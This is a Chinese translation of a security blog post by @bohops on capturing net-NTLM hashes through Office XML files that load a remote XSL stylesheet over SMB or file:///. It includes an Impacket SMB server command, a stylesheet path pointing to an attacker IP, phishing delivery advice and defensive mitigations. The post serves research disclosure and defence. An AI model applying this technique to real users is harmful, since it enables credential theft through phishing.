Office XML(.xml)文檔可以通過SMB調用遠程XSL樣式表。如果遠程XSL樣式表位于攻擊者控制的服務器,則可獲取被攻擊用戶的net-NTLM身份驗證哈希值(質詢/響應消息)。后續操作上,攻擊者可以離線破解此哈希值, 或利用其他技術進行遠程命令執行(如果用戶權限足夠且聯網)。如果被攻擊目標安全性比較差(例如出網規則較差),還可能據此對用戶發動網絡釣魚攻擊。在許多情況下,XML文檔可能會通過大多數郵件網關過濾機制和/或其他網絡安全控制。防御者可能需要將默認XML文件關聯更改為文本編輯器,因為大多數用戶都不會有打開原始Office XML文檔的需求。強密碼,可靠的出網規則(例如,禁止SMB出網流量)和用戶培訓, 可以幫助緩解這些類型的攻擊。
捕獲netNTLM(版本1或版本2)質詢/響應消息哈希值的方法網上有不少,利用/破解netNTLM哈希值的工具也有很多, 且都很棒, 例如CoreSecurity的Impacket,Laurent Gaffie的Responder,@kevin_robertson的Inveigh,以及Jens Steube的Hashcat。在大多數情況下,這些捕獲技術都可以歸類為后滲透(post-exploitation)技術,并且通常需要主機聯網和/或能訪問主機才能成功。在適當的情況下,這些技術可以由用戶驅動(例如,通過Microsoft Office文檔),并且很可能成為攻擊者登錄用戶主機的切入點。在這篇文章中,我們將討論一種非常規技術: 使用Microsoft Office(Word)2016進行UNC路徑重定向并捕獲netNTLM。內容包括:
*注意 :在繼續閱讀之前,我強烈建議您查看以下資源,以獲取有關Windows身份驗證協議和相關捕獲方法的信息:
從 Office 2007開始,(大多數)文檔格式都是基于微軟的Office Open XML(OOXML),它是“由微軟開發的用于表示電子表格,圖表,演示文稿和文字處理文檔的基于XML的壓縮文件格式”(維基百科)。從“較新的”office擴展名,例如Microsoft Word的.docx和Excel的.xslx,就可以看得出來。
非常有趣的是,Office文檔也可以看做包含有效標記和屬性的“flat”XML文件。例如,讓我們打開MS Word 2016, 并添加一些文本, 創建一個傳統意義上的Word XML文檔:
將文件保存為XML格式,不要選.docx:
以下是該文檔的(截斷的)XML表示:
點擊上面的圖片查看大圖。有趣的是,有一個包含mso-application label 的標簽:
<?mso-application progid="Word.Document"?>
ProgID實際上是一個COM標識符。Microsoft XML Handler(MSOXMLED.EXE)處理mso-application標記以加載由ProgID標識的相應Office應用程序。可以直接調用MSOXMLED.EXE來啟動相應的XML文件:
MSOXMLED.EXE /verb open "C:UsersuserDesktopword.xml"
或者,用戶可以直接啟動XML文件(在資源管理器中)并交由文件默認關聯的處理程序來處理。如果未設置默認文件關聯(Windows 10默認未設置),資源管理器將調用runonce.exe, 由用戶來選擇Office程序。Office XML Hanlder 是第一個(也是首選)選項,一旦選中,Office XML Hanlder 將成為XML文件的默認處理程序:
Office XML Handler 調用Word(winword.exe)來打開文檔:
*注意:還有其他的方式, 例如從Word種打開XML文件,或直接使用命令行。這些方法會“繞過”關聯的處理程序。
從Christian Nagel 2004年發表的文章中,我提取了一個簡單的Word XML文檔和樣式表,修改后作為此攻擊方式的PoC。以下,是修改的本地XML文件(引用了一個遠程服務器的XSL文件):
此XML文件的xml-stylesheet標簽包含遠程位置的引用(href)。此外,我們添加了mso-application標簽,以確保處理程序會將XML文檔交由適當的應用程序。
在嘗試打開此文件之前,讓我們在攻擊計算機上啟動Impacket SMB服務器:
smbserver.py -smb2support test .
雙擊我們的’惡意’XML文件, 打開:
現在,看看我們的SMB服務器日志來檢查結果:
成功了。我們現在可以嘗試破解這個哈希!
根據具體情況,XML文件可通過某種網絡釣魚技術來部署。如果攻擊目標對遠程用戶的出網過濾規則或VPN控制較弱,則攻擊者可以將Office XML文檔作為電子郵件附件發送給被攻擊者, 電子郵件很可能“在郵件網關和掃描雷達的眼皮子底下”有驚無險的抵達對方的郵件收件箱:
雙擊并按“打開”。
注意:根據具體情況,用戶可能必須逐步點擊默認關聯的提示框。
因為該文件來自其他位置(例如Web),Word會在受保護視圖中打開。一旦我們“啟用編輯”,就會從遠程服務器獲取XSL文檔,于是我們就可以在攻擊機上收集用戶的NetNTLM哈希值:
在上面的示例中,我們使用顯式UNC路徑來引用樣式表。使用file:///協議也可以:
file:///192.168.245.175/test/word.xsl
此種遠程加載樣式表的方式也適用于其他Office應用程序(例如Excel)。Word似乎是最簡單的。
Microsoft Word支持WebDAV協議。如果Word通過SMB協議無法獲取遠程樣式表,Word將嘗試使用HTTP WebDAV請求獲取遠程文件。Didier Stevens(@DidierStevens)在這篇文章中對這種行為進行了詳細的描述 – Webdav Traffic to Malicious-Sites。
*注意:如果使用NTLM WebDAV進行身份驗證失敗,服務器通常會返回401(表示操作未經授權)。不同的WebDAV客戶端,處理此問題的方式也多種多樣。Explorer.exe會提示用戶輸入憑據,而Word似乎會無彈框的情況下多請求幾次資源。這種行為非常有意思,但我無法強制傳遞NTLM請求到服務器。此課題改天再做研究。
感謝您抽出寶貴時間閱讀這篇文章!與往常一樣,如果您有任何問題/反饋,請隨時給我發消息。
– @bohops